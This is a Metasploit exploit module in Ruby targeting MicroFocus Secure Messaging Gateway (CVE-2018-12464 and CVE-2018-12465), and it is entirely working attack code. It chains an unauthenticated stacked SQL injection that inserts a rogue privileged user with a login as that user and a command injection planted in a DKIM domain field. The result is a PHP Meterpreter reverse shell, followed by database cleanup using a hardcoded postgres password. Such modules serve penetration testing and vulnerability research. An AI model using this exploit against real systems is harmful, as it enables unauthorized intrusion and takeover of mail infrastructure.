## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "MicroFocus Secure Messaging Gateway Remote Code Execution", 'Description' => %q{ This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging Gateway. An unauthenticated user can execute a terminal command under the context of the web user. One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding, which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system. manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It's not possible to access this endpoint without having a valid session. Combining these vulnerabilities gives the opportunity execute operation system commands under the context of the web user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/'], ['CVE', '2018-12464'], ['CVE', '2018-12465'], ['URL', 'https://support.microfocus.com/kb/doc.php?id=7023132'], ['URL', 'https://support.microfocus.com/kb/doc.php?id=7023133'] ], 'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp', 'Encoder' => 'php/base64' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'Privileged' => false, 'DisclosureDate' => "Jun 19 2018", 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) ] ) end def execute_query(query) # # We have a very rare SQLi case in here. Normally, it's would be very easy to exploit it by using time-based techniques # but since we are able to use stacked-query approach, following form of payload is required in order to be able # get back the output of query ! # sql = rand_text_alphanumeric(3 + rand(3)) sql << "') LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressPlain ON ScanEngineBindAddressPlain.idScanEngine=ScanEngineProperty.idScanEngine " sql << "LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressSsl ON ScanEngineBindAddressSsl.idScanEngine=ScanEngineProperty.idScanEngine " sql << "LEFT JOIN ScanEngineProperty AS ScanEngineEnableSsl ON ScanEngineEnableSsl.idScanEngine=ScanEngineProperty.idScanEngine; " sql << query sql << "; -- " sql << rand_text_alphanumeric(3 + rand(3)) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', '1', 'enginelist.php'), 'vars_post' => { 'appkey' => sql } ) end def something_went_wrong fail_with Failure::Unknown, 'Something went wrong' end def check r = rand_text_numeric(15..35) res = execute_query("SELECT #{r}") unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.code == 200 && res.body.include?(r) return CheckCode::Safe end CheckCode::Vulnerable end def implant_payload(cookie) print_status('Creating a domain record with a malformed DKIM data') p = [ { :id => 'temp_0', :Description => rand_text_alpha(5), :DkimList => [ { :Domain => "$(php -r '#{payload.encoded}')", :Selector => '', :TempId => 'tempDkim_1' } ] } ].to_json res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_save_data.json.php'), 'cookie' => cookie, 'vars_get' => { 'cache' => 0, }, 'vars_post' => { 'StateData' => '[{"ouid":1}]', 'SaveData' => p } }) if res && res.code == 200 && res.body.include?('DbNodeId') # Defining as global variable since we need to access them later within clean up function. begin @domainid = res.get_json_document['Nodes'][0]['DbNodeId'] @dkimid = res.get_json_document['Nodes'][1]['DbNodeId'] rescue => e fail_with Failure::UnexpectedReply, "Something went horribly wrong while implanting the payload : #{e.message}" end print_good('Payload is successfully implanted') else something_went_wrong end end def create_user # We need to create an user by exploiting SQLi flaws so we can reach out to cmd injection # issue location where requires a valid session ! print_status('Creating a user with appropriate privileges') # Defining as global variable since we need to access them later within clean up function. @username = rand_text_alpha_lower(5..25) @userid = rand_text_numeric(6..8) query = "INSERT INTO account VALUES (#{@userid}, 1, '#{@username}', '0', '', 1,61011);INSERT INTO UserRole VALUES (#{@userid},#{@userid},1),(#{@userid.to_i-1},#{@userid},2)" execute_query(query) res = execute_query("SELECT * FROM account WHERE loginname = '#{@username}'") if res && res.code == 200 && res.body.include?(@username) print_good("User successfully created. Username : #{@username}") else something_went_wrong end end def login print_status("Authenticating with created user") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'security', 'securitygate.php'), 'vars_post' => { 'username' => @username, 'password' => rand_text_alpha_lower(5..25), 'passwordmandatory' => rand_text_alpha_lower(5..25), 'LimitInterfaceId' => 1 } ) if res && res.code == 200 && res.body.include?('/ui/default/index.php') print_good('Successfully authenticated') cookie = res.get_cookies else something_went_wrong end cookie end def exploit unless check == CheckCode::Vulnerable fail_with Failure::NotVulnerable, 'Target is not vulnerable' end create_user cookie = login implant_payload(cookie) print_status('Triggering an implanted payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_dkim_keygen_request.php'), 'cookie' => cookie, 'vars_get' => { 'cache' => 0, }, 'vars_post' => { 'DkimRecordId' => @dkimid } }) end def on_new_session(session) print_status('Cleaning up...') cmd = "" cmd << 'PGPASSWORD=postgres psql -U postgres -d SecureGateway -c "' cmd << "DELETE FROM account WHERE loginname ='#{@username}';" cmd << "DELETE FROM UserRole WHERE idaccount = #{@userid};" cmd << "DELETE FROM Domain WHERE iddomain = #{@domainid};" cmd << "DELETE FROM DkimSignature WHERE iddkimsignature = #{@dkimid};" cmd << '"' session.shell_command_token(cmd) end end